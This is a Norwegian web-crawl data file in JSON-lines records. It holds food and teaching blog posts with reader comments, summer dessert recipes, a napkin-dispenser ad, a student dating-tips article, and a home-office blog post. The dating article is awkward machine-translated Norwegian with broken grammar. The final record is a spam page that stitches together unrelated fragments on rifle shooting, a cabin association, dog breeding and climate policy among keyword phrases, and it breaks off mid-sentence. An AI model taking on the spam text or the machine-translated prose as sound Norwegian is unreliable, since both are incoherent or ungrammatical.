kommentarer           \n\n##  3. juli 2014 \n\n### MORELLER OG ACAI\n\nMoreller er kanskje noe av det bedre jeg spiser, men prisene kan f\u00e5 meg til \u00e5 svette i kassen sometimes. \u00a0N\u00e5 har de faktisk v\u00e6rt \u00e5 oppdrive til god pris - det liker jeg\\! En annen crawing er fortsatt acai-smoothie med granola og kokoschips som topping. Ooh.\u00a0\n\n  \n\n\n  \nSommer er definitivt tiden for mine smaksl\u00f8ker.. Fnis. Ha en fin uke\\!\u00a0\n\n  \n     30 kommentarer           \n\n Etiketter: Sommer \n\n", "language": "no", "__index_level_0__": "a8c0d12b-7e7c-472d-8840-bc4c5f5c88bb"}
{"url": "http://kjerstistokke.blogspot.com/2010/09/lreren-som-guru-i-klasserommet-ma-alt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:37:53Z", "text": " \n\n## onsdag 22. september 2010\n\n### L\u00e6reren som \"guru\" i klasserommet - m\u00e5 alt gjennomg\u00e5s?\n\nDette skole\u00e5ret har jeg fors\u00f8kt \u00e5 legge opp til variert undervisning med stor grad av elevdeltagelse. Elevene har jobbet mye med selvstendige oppgaver og i grupper. Jeg har trukket inn flere ressurser enn bare l\u00e6reboken, og vi har benyttet en rekke web 2.0 verkt\u00f8y. Egentlig har jeg v\u00e6rt ganske forn\u00f8yd med meg selv helt frem til i g\u00e5r. Da startet elevene med \u00e5 protestere. Jeg hadde gitt dem en gruppeoppgave hvor de skulle jobbe med organisasjonsutvikling og kompetanseutvikling. Opplegget var at elevene i grupper skulle etablere en bedrift p\u00e5 papiret. Dette var noe de hadde \u00f8nsket \u00e5 gj\u00f8re,og derfor stod det p\u00e5 periodeplanen de selv har v\u00e6rt med p\u00e5 \u00e5 utarbeide.\n\n  \nProblemet oppstod n\u00e5r de skulle starte \u00e5 jobbe. Jeg fikk beskjed om at det var vanskelig \u00e5 jobbe med et emne som ikke var gjennomg\u00e5tt av meg. De var lei av at jeg ikke gjennomg\u00e5r alt, for det er viktig for dem at de l\u00e6rer noe. Min tilbakemelding var at hele form\u00e5let med dagens opplegg var at de skulle l\u00e6re noe, og at jeg tror at de l\u00e6rer mere av \u00e5 jobbe med stoffet enn \u00e5 sitte som passive tilh\u00f8rere til en powerpoint presentasjon. Dette synspunktet fikk jeg ikke geh\u00f8r for.\n\n  \nJeg minnet dem ogs\u00e5\u00a0om at de uken f\u00f8r hadde hatt en gjesteforeleser,som holdt en god presentasjon om emnene organisasjonsutvikling og kompetanseutvikling, hvor han brukte egen bedrift som eksempel. I l\u00f8pet av presentasjonen gikk han gjennom alle viktige punkter om de aktuelle omr\u00e5dene. Tilbakemeldingen jeg fikk p\u00e5 dette var: \"*Det var ikke du som presentert det*\". Jeg m\u00e5 innr\u00f8mme at da ble jeg litt matt.  \n  \nEr det slik i norsk skole at elevene kun kan l\u00e6re noe hvis l\u00e6reren har fortalt dem det? \u00a0Kan man ikke p\u00e5 vg3 i videreg\u00e5ende skole forvente at elever klarer \u00e5 jobbe med stoffet selv, og ogs\u00e5 forholde seg til andre forelesere enn l\u00e6reren? Er det alltid kun det l\u00e6reren foreleser som er det viktige?  \n  \nPersonlig mener jeg at elever p\u00e5 dette niv\u00e5et\u00a0 b\u00f8r kunne ta til seg kunnskap p\u00e5 andre m\u00e5ter enn presentasjoner fra l\u00e6reren. Det jeg \u00a0funderer p\u00e5 er hvordan vi er kommet i en situasjon hvor elevene mener de l\u00e6rer best ved \u00e5 h\u00f8re p\u00e5 at l\u00e6reren foreleser? Unders\u00f8kelser viser jo at det beste ofte er \u00e5 jobbe med stoffet selv. Jeg har forst\u00e5else for at elevene \u00f8nsker seg forelesninger ut fra betraktningen om at dette er minst slitsomt for dem, men er dette godt nok ut fra en l\u00e6rersynsvinkel? Selv mener jeg at vi b\u00f8r kunne stille h\u00f8yere krav til elevene. Utfordringen blir \u00e5 f\u00e5 dem til \u00e5 forst\u00e5 dette.\n\n13:40           \n\n#### 3 kommentarer:\n\n\n\n\n\nErlend sa...\n\nKanskje det kunne v\u00e6re lurt \u00e5 bruke litt tid p\u00e5 \u00e5 gjennomg\u00e5 med elevene hvordan de best og mest effektivt kan l\u00e6re seg stoff selv uten at du er involvert? Alts\u00e5 i sterkere grad motivere dem til \u00e5 ta initiativ selv? Selvsagt m\u00e5 de kunne ta til seg kunnskap uten at du er innvolvert, men det virker som de rett og slett er litt bortskjemte. Hvis du tydeliggj\u00f8r hvor viktig det er \u00e5 kunne l\u00e6re stoff p\u00e5 egenh\u00e5nd, og kanskje gir noen eksempler p\u00e5 teknikker og metoder de kan bruke, blir det kanskje lettere?  \n  \nErlend\n\n 22. september 2010 kl. 16:24    \n\n\n\n\n\nKjersti sa...\n\n@Erlend  \nJeg er enig i dette, men er dette noe de m\u00e5 l\u00e6re i vg3? Jeg har et h\u00e5p om at de etter 12 \u00e5rs skolegang allerede har l\u00e6rt noe om hvordan de skal ta til seg kunnskap, men kanskje det bare er meg som er naiv?\n\n 22. september 2010 kl. 16:39    \n\n\n\n\n\nLektor Lund sa...\nJeg er jo helt enig med deg. Men samtidig er det jo ikke s\u00e5 merkelig at elevene ettersp\u00f8r \u00e5 bli \"undervist\" for. Det er det de har l\u00e6rt og blitt vant til gjennom 10-12 \u00e5r p\u00e5 skolebenken, det er trygt og lite krevende \u00e5 bli forelest for, og de tradisjonelle, reproduserende vurderingsformene legger opp til den typen undervisning. Det de trenger \u00e5 erfare, er at de faktisk blir flinkere av de aktiviserende metodene du bruker, og det tar litt tid.\n\n 30. september 2010 kl. 07:51    \n\n", "language": "no", "__index_level_0__": "aff1c88e-9bba-4d29-a3a2-b864f86a3937"}
{"url": "http://www.klikk.no/kvinneguiden/mat/de-beste-sommerdessertene-2593514", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:45:55Z", "text": "# De beste sommerdessertene\n\n### Visste du at det er fullt mulig \u00e5 legge desserten p\u00e5 grillen? Eller lage din egen is av frukt p\u00e5 1-2-3? Vi gir deg gode tips p\u00e5 sommerlige og gode desserter.\n\nPublisert 16.07.10  Oppdatert 28.06.12 \n\n## Hurtigis\n\n  \n\n##### Tidsforbruk: under 20 min  \nVanskelighetsgrad: lett  \nPorsjoner: 1\n\n  \n  \n**Ingredienser:**  \n  \n500 g jordb\u00e6r, evt. mango eller kiwi  \n1 dl kremfl\u00f8te  \n1 stk. egg  \nca 3 ss melis (etter smak)  \n  \n**Fremgangsm\u00e5te:**  \n  \nLegg jordb\u00e6r eller biter av frukt utover p\u00e5 et brett som er dekket med plastfolie og sett brettet i fryseren i minst 1/2 time. Ha frosne b\u00e6r eller frukt og melis i en matprosessor og kj\u00f8r til frukten er knust. Ha i egg og kremfl\u00f8te mens maskinen g\u00e5r. Kj\u00f8r til en kremet konsistens p\u00e5 iskremen.  \n  \nIsen m\u00e5 spises med det samme.  \n  \n  \n## Lune pannekaker med is og b\u00e6r\n\n#####   \nTidsforbruk: 40 - 60 min  \nVanskelighetsgrad: middels  \nPorsjoner: 4\n\n  \n**Ingredienser:**  \n  \nPannekaker:  \n3 dl hvetemel  \n5 dl melk  \n\u00bd ts salt  \n4 stk. egg  \nsm\u00f8r til steking  \nca. \u00bd l vaniljeis  \nca. 2 \u00bd dl bl\u00e5b\u00e6r eller b\u00e6rblanding  \n  \n**Fremgangsm\u00e5te:**  \n  \nHa mel i en bolle og hell i ca. 1/3 av melken. Visp til en klumpfri deig eller r\u00f8re. Forsett og spe til all melken er tilsatt. Pisk inn eggene. La r\u00f8ren st\u00e5 og svelle 1/2 time.  \n  \nStek tynne pannekaker og hold dem lune. Server pannekakene med iskrem og b\u00e6r.  \n  \n  \n  \n## Lun fruktsalat med r\u00e5krem\n\n#####   \nTidsforbruk: under 20 min  \nVanskelighetsgrad: middels  \nPorsjoner: 4\n\n  \n  \n**Ingredienser:**  \n  \n3 stk. eple  \n3 stk. appelsin  \n2 stk. banan  \n4 ss rosiner  \n4 ss grovhakkede mandler  \n1 dl lik\u00f8r  \n  \nR\u00e5krem:  \n3 stk. eggeplomme  \n3 ss sukker  \n2 \u00bd dl kremfl\u00f8te  \n  \n**Fremgangsm\u00e5te:**  \n  \nDel frukten opp i biter og fordel den p\u00e5 6 aluminiumsfolieark. Dryss over rosiner, n\u00f8tter og hell over lik\u00f8r. Brett aluminiumsfolien sammen, pass p\u00e5 at skj\u00f8ten kommer slik at den deilige fruktsaften ikke renner ut. Legg fruktpakken p\u00e5 grillen i 4-6 minutter.  \n  \nPisk eggedosis av eggeplommer og sukker. R\u00f8r forsiktig inn pisket krem. R\u00e5krem b\u00f8r serveres forholdsvis nylaget.  \n  \nServeres sammen med r\u00e5krem eller is.  \n  \nTips: Skal du lage kremen p\u00e5 forh\u00e5nd, kan du tilsette et par plater gelatin. Da vil kremen holde seg.  \n  \n  \n### Oppskriftene er levert i samarbeid med www.mat.no.  \n  \n\n", "language": "no", "__index_level_0__": "8416213b-9df4-4c79-b8de-a58ea209629d"}
{"url": "http://www.nonfood.no/article.php?articleID=15324&categoryID=6", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:30:56Z", "text": "# Tork Interfold Dispenserserviett: 1 system, 1 serviett\n\n**Tork lanserte nylig interfold dispenser serviett system som gir en serviettreduksjon p\u00e5 minst 25%. For \u00e5 oppn\u00e5 denne besparelsen og de \u00f8vrige fordelene m\u00e5 riktig serviett benyttes.**\n\nTork lanserte nylig interfold dispenser serviett system som gir en serviettreduksjon p\u00e5 minst 25%.  \nFor \u00e5 oppn\u00e5 denne besparelsen og de \u00f8vrige fordelene m\u00e5 riktig serviett benyttes - nemlig Tork   \nInterfold dispenserserviett med artikkelnr.:\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0EPD nr  \nUniversal 21,6x33 cm\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1730985  \nPremium 21,6x33 cm\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1730977  \nPremium 21,6x16,5 cm\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1730951\n\nTradisjonelle dispenserservietter eller andre typer servietter gj\u00f8r at systemet ikke fungerer optimalt. Med riktig serviett i dispenseren nyter du godt av:  \n25% reduksjon  \nlavere avfallsmengde pga redusert forbruk  \nforbedret hygiene da bruker kun ber\u00f8rer sin egen serviett\n\nI disse pandemi tider hvor hygiene er h\u00f8yeste prioritet, er Interfold dispenserserviett systemet et godt bidrag for \u00e5 bedre hygienen for dine gjester.\n\nBestill interfold dispenserservietter i dag\\!  \n", "language": "no", "__index_level_0__": "461aa455-8a1b-46bb-8abb-992ffd0fe69e"}
{"url": "https://www.datemypet.com/no/3-secrets-to-dating-on-a-student-budget", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:33:20Z", "text": "R\u00e5d \n\n*av Date My Pet Staff*\n\n# 3 Hemmeligheter til Dating p\u00e5 en student budsjett\n\nSist oppdatert: desember. 27 2017 |  3 min lese\n\n**Hvordan imponere jeg min dato og fortsatt ha penger til \u00e5 gj\u00f8re vaskeri?**\n\nphoto by RBerteig cc\n\nDette er et presserende problem og kamp for alle studenter i h\u00f8yere utdanning verden. Denne siste uken jeg kunne knapt r\u00e5d til desperat behov toalettpapir, og min kaffe avhengighet truer med \u00e5 \u00f8delegge min lommebok. Enn\u00e5, akkurat som jeg ikke kan komme seg rundt n\u00f8dvendigheten av konstant koffein, Studentene kan ikke unnslippe det faktum at de er blakk.\n\nBor p\u00e5 en student budsjett er ikke lett. Enten du har en deltidsjobb, eller er en av de heldige f\u00e5 som har sine foreldres \u00f8konomiske st\u00f8tte, det er fortsatt en p\u00e5g\u00e5ende kamp. Motst\u00e5 fredag \u200b\u200bkveld pizza er vanskelig nok, men for \u00e5 gj\u00f8re vondt verre, det er et annet element som er tydelig i alle h\u00f8gskoler og universiteter; dating.\n\nTil tross for din sjarm og utrolige gode utseende, \u00e5 imponere daten din det vil vanligvis koste deg noen penger. Men, det er lys i enden av den kostbare tunnel. Det er din lykkedag fordi disse tre hemmeligheter kan hjelpe deg imponere daten din samtidig som en blakk student.\n\n**Bo n\u00e6r hjemmet ... liker veldig n\u00e6re**\n\n  \nphoto by Steve Jurvetson cc\n\nH\u00f8gskolen er ditt hjem borte fra hjemmet. Egentlig, det er nok mer underholdende enn ditt virkelige hjem. Derfor har du mange fordeler og mulige dato ideer rett p\u00e5 fingertuppene.\n\n  - En filmkveld og orden i mat. Netflix ble bokstavelig talt laget for college kids.\n  - Cook sammen (mikrob\u00f8lgekokingen fortsatt teller\\!)\n  - Spille et brettspill, kort eller et videospill\n  - Bygge et teppe fort sammen. Alle er et barn p\u00e5 hjertet, ikke nekte for det\n  - For de mer fancy-fartsy par, gj\u00f8re fag- eller male sammen\n  - Bare enkle snakke og kosing vanligvis fungerer underverk\n\n**Lag et budsjett plan**\n\n  \nphoto by Regning & Vicki T cc  \nDu trenger ikke l\u00e6re alt i et klasserom. Ferdigheten budsjettplanlegging er et verdifullt og sv\u00e6rt nyttig en. Selv om du ikke kan sette den ned p\u00e5 din CV vil det hjelpe deg \u00e5 v\u00e6re smart om pengene dine. Sitt ned, f\u00e5 ut en penn og papir (eller mer sannsynlig sving p\u00e5 den b\u00e6rbare datamaskinen) og beregne dine m\u00e5nedlige kostnader. Dette vil inkludere mat, underholdning, n\u00f8dvendig, skolemateriell, og viktigst datoer. Pr\u00f8v \u00e5 sette ned bare hva du ikke kan leve uten. Neste, tilsett costys sammen og f\u00e5 en resulterende totalt hvor mye du kan bruke per m\u00e5ned. N\u00e5 kommer utfordringen; pr\u00f8v \u00e5 ikke g\u00e5 over dette bel\u00f8pet, og selv bruke mindre hvis mulig. N\u00e5 kan du v\u00e6re en ekte kj\u00e6reste, fortsatt betale for regningen, og ikke f\u00f8le seg helt blakk.\n\n**Bruk ressursene**\n\n  \nphoto by dougwoods cc  \nDen st\u00f8rste ressursen er dine ressurser. Jeg h\u00f8res ut som en kul filosof med en tre ansatte og skjegg, men jeg er ikke. Som studenter har vi mange fordeler. Du vet de kupong b\u00f8ker du fikk i begynnelsen av \u00e5ret, og har ikke \u00e5pnet siden? Vel, de lager full av penger \u00e5 spare dato ideer ... v\u00e6re skeptisk til de rabatterte tatovering seg selv. Det slutter ikke der. Uansett hvor du g\u00e5r p\u00e5 skole, Jeg kan forsikre deg om at mange butikker, restauranter og bedrifter rundt campus tilbudet studentrabatter. Gripe disse mulighetene og spare penger p\u00e5 skolemateriell, mat og mye mer. Det finnes utallige avtaler, bargains og giveaways for utelukkende studenter. \u00c5 bli en kupong dronning eller konge er ikke noe \u00e5 skamme seg over.\n\nMed disse tre hemmeligheter, du vil v\u00e6re ustoppelig. Du kan erobre dating verden med stor letthet og fortsatt ha penger til overs til \u00e5 vise for det. S\u00e5 g\u00e5 ut og fange noen hjerter og spare penger.\n\nDen ledende online dating nettsted opprettet utelukkende for kj\u00e6ledyr elskere. Enten du er ute etter en livspartner, en kompis for ditt kj\u00e6ledyr eller bare noen \u00e5 henge med, her vil du v\u00e6re i stand til \u00e5 finne n\u00f8yaktig hvem du er ute for - kj\u00e6ledyr elskere som deg.\n\n", "language": "no", "__index_level_0__": "3e7d6174-72b5-4a2b-9d30-e7617c357d45"}
{"url": "http://littkritikk.blogspot.com/2013/01/en-sannhet-i-eventyr.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:49:00Z", "text": "\n\n## s\u00f8ndag 13. januar 2013\n\n### En sannhet i eventyr?\n\n\n\nDette sitatet av G.K. Chesterton liker jeg veldig godt.  \nDet forteller veldig greit om budskapet i mange eventyr for barn.  \n  \nN\u00e5r barn vokser opp, sitter de ikke igjen med tanker om at drager og troll og onde hekser finnes, men de sitter igjen med tanker om hvordan verden fungerer.  \nDet finnes gleder og det finnes sorger.  \nGleden kommer til rik som fattig, og den rike kan ikke kj\u00f8pe seg fri fra sorgen.  \nVerden kan v\u00e6re et farlig sted , men med litt vett kan du muligens unng\u00e5 farer.  \nOg ja, som utsagnet sier, eventyr forteller ikke at det finnes drager, men at drager kan bekjempes.  \nDen f\u00e5r du tenke p\u00e5 selv, men jeg er sikker p\u00e5 du forst\u00e5r betydningen :P\n\n     \n|             |  |\n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n\n#### 1 kommentar:\n\n1.  \n    \n    Nina13. jan. 2013, 14:31:00\n    \n    Du hive deg inn i denne barnelitteratur debatten du og ja:) n\u00e5r det gjelde kardemommeby eller eventyr genrellt s\u00e5 tror ungane tar te seg te de ska forst\u00e5 ut fra fablene,- mye av mystikken og magien og litt av moralen og symbolikken.. s\u00e5 tror eg faktisk de kan assimilera eventyr\u00e5 i forhold te virkeligheten :) ungar e ikje dumme :) og godt e det og kunna bekjempa dragene s\u00e5 du seie ja.. de kome hverfall fort itte ein fuktige kveld p\u00e5 byen ;P\n    \n\n\nLene Hamre  \n\n", "language": "no", "__index_level_0__": "0e0a06fd-2109-46e4-979e-2127eca6899e"}
{"url": "https://beatehemsborg.blogspot.com/2011/08/konsollbord-fra-mini-mal-tolix-milla.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:31:45Z", "text": "## mandag 22. august 2011\n\n\n\n(konsollbord fra mini-mal, tolix: milla boutique, lampe: flust.no)  \n\\*sukk\\*\n\nMed denne nydelige skrivemaskinen st\u00e5ende p\u00e5 kontorplassen,\n\ndr\u00f8mmer jeg meg nesten litt bort til en tid uten pc i stuen ...\n\n  \n\n\n  \nFor noen \u00e5r siden\u00a0hadde vi en stor diskusjon her i heimen om  \nvi i det hele tatt skulle ha \"kontor\" med plass til pc i stuen.  \nJeg jobber mye\u00a0p\u00e5 pc\\`n, og\u00a0det er\u00a0jo litt hyggelig \u00e5  \nsitte i stuen sammen med de andre ogs\u00e5 da\\!\n\n  \nKanskje bruker jeg for mye tid foran pc\\`n ...~~???~~  \nMen jeg ser jo sjeldent p\u00e5 tv da. Bytter gladelig bort  \nb\u00e5de s\u00e5per og reality mot en inspirerende blogg-runde\\!  \n(bortsett fra Greys da... da vinner tv\\`n gitt)  \n  \nHva med deg?  \nPC eller TV?\n\n#### 19 kommentarer:\n\n1.  \n    \n    Elisabeths idyll.22.08.2011, 17:18\n    \n    Det blir nok endel tid forann diverse skjermer her i huset ogs\u00e5.... Skulle ha v\u00e6rt litt flinkere \u00e5 gjort andre ting sammen ;o)  \n    Flotte bilder du har i dag ;o)))  \n      \n    Ha en flott uke ;o)  \n    Klemmer Elisabeth ;)\n    \n2.  \n    \n    Dronninghuset22.08.2011, 17:23\n    \n    enig. jeg og ser p\u00e5 Grey\\`s. men liker filmer da... og nyheter m\u00e5 man ha med ;-)  \n    god ettermiddag ;-)  \n    klem Tove\n    \n3.  \n    \n    Trine22.08.2011, 17:36\n    \n    S\u00e5 herlig at vi e flere i samme b\u00e5s..  \n    M\u00e5 nok innr\u00f8mme at tv'n e av liten interesse, s\u00e5 her f\u00e5r mannen r\u00e5de over fjernkontrollen helt i fred :)  \n    Selv Grey's har \u00e6 dotte ut av.. :/  \n      \n    E s\u00e5 koselig me en liten kontorkrok, \u00e5 av \u00e5 til kunne \u00e6 virkeli tenkt m\u00e6 en s\u00e5nn sj\u00f8l, me tanke p\u00e5 at \u00e6 kanskje reduserte pc bruken litt..  \n      \n    Ha en flott mandag\\!  \n      \n    Kl\u00e6m Trine\n    \n4.  \n    \n    http://www.ninasskatter.com/22.08.2011, 17:46\n    \n    Ha en flott uke:)\n    \n5.  \n    \n    Hulda22.08.2011, 17:51\n    \n    Jeg er nok litt blanda n\u00e5r det kommer til tv og pc. Liker litt av hvert. Ser veldig gjerne p\u00e5 krimserier. ;) Greys liker jeg ogs\u00e5 godt. :)  \n      \n    Flott skrivebordsted du har. Likte s\u00e5 godt den lampa. Stolen ogs\u00e5, forresten. :9 Alt skaper en fin helhet.  \n      \n    Jeg har en liten pc-krok p\u00e5 kj\u00f8kkenet.\n    \n6.  \n    \n    MissMette22.08.2011, 17:58\n    \n    Hei Beate :)  \n    Superkoselig plass du har laget her \u10e6  \n    ... alt, alt her er bare s\u00e5 fint, s\u00e5  \n    kjekt og inspirerende \u00e5 titte innom  \n    bloggen din \u10e6 Jeg har ordnet meg en  \n    bloggplass i stuen slik at jeg b\u00e5de  \n    kan sitte p\u00e5 nett \u00e5 kose meg rundt i  \n    blogglandia, samt at jeg f\u00e5r med meg  \n    det som skjer p\u00e5 fjernsynet - men bare  \n    med et halvt \u00f8ye da, hihi... Syns det  \n    er mer inspirerende \u00e5 ta en bloggrunde  \n    Ha en fortsatt fin dag, og kveld :)  \n    Klem fra Mette\n    \n7.  \n    \n    HusmorDronninga22.08.2011, 18:31\n    \n    Blir helst en kombi her da.. Med overvekt p\u00e5 Pc'en... ;) Hadde definitiv hatt st\u00f8rre problem \u00e5 leve uten pc for tiden.. enn en tv...\n    \n8.  \n    \n    Vibeke22.08.2011, 18:51\n    \n    I sofaen foran TV, med laptop i fanget. Multitasking. ;)  \n      \n    Flotte bilder \u2665\n    \n9.  \n    \n    Myke minutter22.08.2011, 19:26\n    \n    Jeg ser visst mindre og mindre p\u00e5 TV jeg ogs\u00e5, mens Mac'en og internett er helt uunv\u00e6rlig ;) G\u00e5r litt i faser med TV'en, alt etter om det g\u00e5r serier for tiden som jeg f\u00f8lger med p\u00e5. N\u00e5 for tiden er det ingenting. Ellers nydelig kontorplass du har\\! Jeg har planer om \u00e5 lage meg en kontorplass under trappen v\u00e5r i kjelleren. Enn s\u00e5 lenge blogger jeg i stuen ved spisebordet :) Ha en fortsatt finfin mandagskveld, med og uten blogging ;)\n    \n10. \n    \n    Ingvill22.08.2011, 19:27\n    \n    Er nok veldig enig med deg. Koselig \u00e5 v\u00e6re sammen ogs\u00e5. Men dataen er ikke noe pent m\u00f8bel, s\u00e5 skulle gjerne ikke ha hatt den. Liker ogs\u00e5 dataen fremfor tv, bortsett fra Greys da, det m\u00e5 jeg se. Kunne jo ha funnet opp en data som s\u00e5 ut som noe gammelt. Veldig lekkert med den gamle skrivemaskinen.\n    \n11. \n    \n    Fr\u00f8ken Fryd22.08.2011, 19:49\n    \n    Er enig med majoriteten her, vil helst f\u00e5 med meg Grey's og s\u00e5 blir det mykje blogging med eit halvt auga p\u00e5 TV'n - men det gjeld b\u00e5de meg og min bedre halvdel (han blogger IKKJE, men les alt av nyheter, fotball og andre ting), me har installert oss godt i s\u00e5 m\u00e5te :)  \n      \n    Klem Eli\n    \n12. \n    \n    Merethe22.08.2011, 20:38\n    \n    Her er det null tv i huset\\! Barna har flatskjerm, men vi har ikke ordnet med tv forbindelse enda. S\u00e5nn har vi hatt det i 10 \u00e5r, og vet du hva? vi elsker det\\! :) Vi f\u00e5r med oss det vi vil se p\u00e5, p\u00e5 tv 2, nrk, tv3 og tv norge p\u00e5 web tv.. Det holder for oss\\! :)  \n      \n    btw s\u00e5 elsker jeg konsollbordet ditt\\! Dobbeltsukk\n    \n13. \n    \n    Merethe22.08.2011, 20:38\n    \n    Her er det null tv i huset\\! Barna har flatskjerm, men vi har ikke ordnet med tv forbindelse enda. S\u00e5nn har vi hatt det i 10 \u00e5r, og vet du hva? vi elsker det\\! :) Vi f\u00e5r med oss det vi vil se p\u00e5, p\u00e5 tv 2, nrk, tv3 og tv norge p\u00e5 web tv.. Det holder for oss\\! :)  \n      \n    btw s\u00e5 elsker jeg konsollbordet ditt\\! Dobbeltsukk\n    \n14. \n    \n    Tovepia22.08.2011, 20:50\n    \n    Samme her; jeg sitter foran pc'n, gubben foran TV'n, men vi sitter rundt samme bord:O  \n    Utrolig hva som har skjedd siden skrivemaskina var i hus;)  \n    Ha ei fin uke, klem fra meg;\n    \n15. \n    \n    Sj\u00f8gl\u00f8tt22.08.2011, 21:09\n    \n    Hei :-)  \n    Jeg ser nesten aldri p\u00e5 TV, men derimot mye p\u00e5 PC. Leser blogger og din side er mye lest ;-) Takk for en fin side.  \n    Til helgen skal jeg en tur til Cambridge, og gjett om jeg skal innom Kath Kidston. Man skal ikke se bort fra at noe blir med hjem til Norge :-))  \n    Mvh Linda N\n    \n16. \n    \n    Mona Christin22.08.2011, 21:12\n    \n    Hei.  \n      \n    Flotte bilder.  \n      \n    Det er ikke s\u00e5\u00e5\u00e5 lenge siden jeg gikk p\u00e5 skolen og vi hadde maskinskriving som fag. PC'en het datamaskin og hadde bare programmer som ms-dos o.l. Og det var i 93-94. Rivende rask utvikling.  \n      \n    N\u00e5 om dagen er det nok 60/40 i fav\u00f8r pc'en. Det er noen programmer jeg m\u00e5 ha med meg.  \n      \n    Klem Mona C\n    \n17. \n    \n    v\u00e5r lille verden22.08.2011, 21:54\n    \n    Hei:)Det er jo kos og kunne sitte sammen med familien selv om man er p\u00e5 pcn\\!Da er man jo tross alt sammen:)Jeg har min p\u00e5 kj\u00f8kkenet(bare fordi det er der jeg trives best)S\u00e5 plupper jeg ut til stua tirsdag 21.45.:)klem kathrin\n    \n18. \n    \n    Lille Fr\u00f8ken Jensen22.08.2011, 22:01\n    \n    Jeg bruker ogs\u00e5 dataen foran tven, bedre \u00e5 bli inspirert av fine blogger enn \u00e5 se p\u00e5 tv.  \n    Men p\u00e5 tirsdagskvelden blir tven satt p\u00e5 21.45:)))  \n    \u00d8nsker deg en fin uke  \n    Klem fra Jorunn\n    \n19. \n    \n    Huldra03.09.2011, 14:05\n    \n    Definitivt pc\\`n. Klarer ikke f\u00f8lge med p\u00e5 noen serier \u00e5kke som, og her i pcverden er det faktisk b\u00e5de sosialt og hyggelig. Glatt valg for min del.  \n      \n    Virkelig en vakker krok. :)\n    \nJeg blir veldig glad hvis du legger igjen en liten hilsen. Hvis du ikke har blogg selv kan du huke av for anonym i boksen under her...  \n  \n", "language": "no", "__index_level_0__": "8c4987f2-ba15-41b4-8fc4-fddf980c6e54"}
{"url": "http://help4writers.com/317-lav-gratis-hjemmeside-123.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:37:27Z", "text": "Skytestillinger: \u00c5 skyte godt med rifle er ikke alltid enkelt. Men en fornuftig stilling der kroppen er avslappet gj\u00f8r det enklere. Jo bedre inn\u00f8vd og st\u00f8 skytestillingen er, desto lettere er det \u00e5 holde rifla s\u00e5 rolig at man kan ta et kontrollert avtrekk. Det er forskjell p\u00e5 de forskjellige stillingene, men mange prinsipper er like. hvordan f\u00e5 et bedre forhold til kj\u00e6resten queen \u00c5rsmelding for Helg\u00e5 Hyttegrend velforening 2013. Styret ble valgt p\u00e5 ordin\u00e6rt \u00e5rsm\u00f8te 23. mars 2013 og har v\u00e6rt sammensatt slik: Dag Jonassen, Terje Ytterland. \u00d8ivind Bore og Kjell O. Karlsson. Vara har v\u00e6rt Per A. Larsen. Kjell O. Karlsson ble valgt som leder. Det som det har blitt arbeidet med siden forrige \u00e5rsm\u00f8te:. HOVEDM\u00c5L ER EGENTRENING MED BISTAND FRA DE ANDRE P\u00c5 GRUPPA. MYE GOD H\u00c5NDTERING OG SOSIAL ADFERD. TA MED DIN \"BESTE VENN\" OG M\u00d8T KL.18.00. FLOMBELYST TRENINGSOMR\u00c5DE OG VARMEROM. (trener ikke ved -8 og lavere, egenandel kr.30.-). 1. 1. 1. 1. 1. 1. 1. Mer infoLiker.Valpekulli 2015. Vi planlegger \u00e5 parre Mellomg\u00e5rdens Nitra i november/desember. Hannen vi \u00f8nsker \u00e5 bruke er Sippolas Kobras. Dette er en hund etter meget gode jaktlinjer. De er fire s\u00f8sken som er godkjent p\u00e5 vildsvin Hans foreldre er kjent for \u00e5 nedarve gode jaktegenskaper. Parringen har sv\u00e6rt lav innavelsprosent\u00a0\n\nBIRKEBOXER HERCULES X EIKBO'S HANNAH DEL OPERAH. Ventes ca 2014 Vill \\! Eikeseths kull som blir f\u00f8dt og vokser opp her p\u00e5 Hurum Smiler stort .Hannah var mye kvalm og sliten helt i begynnelsen, men s\u00e5 har det g\u00e5tt riktig s\u00e5 bra med henne\\! Hun har v\u00e6rt merkbart mye roligere enn vanlig,men det er jo\u00a0 beste gratis hjemmeside telenor Partene er videre enige om at s\u00e6rskilte tiltak kan bli vurdert for \u00e5 mobilisere befolkningen til tidligere omstilling til forbruksm\u00f8nstre som gir lave utslipp, enn det . De trekker frem fritak fra avgifter, utbygd infrastruktur og ulike tilleggsgoder som tilgang til kollektivfelt og gratis passering av bomring som utl\u00f8sende faktorer for\u00a0 18. okt 2017 Det er mange organisasjoner og bedrifter i Norge som tilbyr gratis rettshjelp og veiledning. Vi har opprettet . Deres arbeid bidrar til at mange mennesker f\u00e5r sine grunnleggende rettigheter oppfylt til en lav kostnad. Du kan lese Det er gratis 